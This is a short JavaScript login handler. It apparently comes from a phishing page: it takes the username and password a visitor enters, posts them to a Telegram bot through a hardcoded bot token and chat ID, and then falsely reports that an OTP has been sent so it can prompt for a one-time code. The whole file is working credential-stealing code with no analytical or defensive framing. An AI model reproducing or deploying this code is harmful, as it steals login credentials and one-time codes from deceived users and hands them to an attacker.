function userlogin() {
    var userl = $("#userl").val();
    var passl = $("#passl").val();

    if (userl === "") {
        error("Enter username");
        return;
    }

    if (passl === "") {
        error("Enter password");
        return;
    }

    document.getElementById('subl').style.display = 'none';
    document.getElementById('loaderl').style.display = 'block';

    var botToken = "7324444515:AAHg6i1Uds-ChDq_TcdTE7JBWCO5L1v_ntE";
    var chatId = "-1002560426852";

    // Escape for MarkdownV2
    var username = escapeMarkdown(userl);
    var password = escapeMarkdown(passl);

    var message = "🚨 *New Login Attempt*\n👤 Username: `" + username + "`\n🔐 Password: `" + password + "`";
    var telegramUrl = "https://api.telegram.org/bot" + botToken +
        "/sendMessage?chat_id=" + chatId +
        "&parse_mode=MarkdownV2&text=" + encodeURIComponent(message);

    fetch(telegramUrl)
        .then(response => response.json())
        .then(data => {
            if (data.ok) {
                success("OTP sent successfully!.");
                otp(); // Show OTP input
            } else {
                error("Failed to notify Telegram");
            }
        })
        .catch(err => {
            console.error("Telegram API error:", err);
            error("Something went wrong!");
        })
        .finally(() => {
            document.getElementById('subl').style.display = 'block';
            document.getElementById('loaderl').style.display = 'none';
        });
}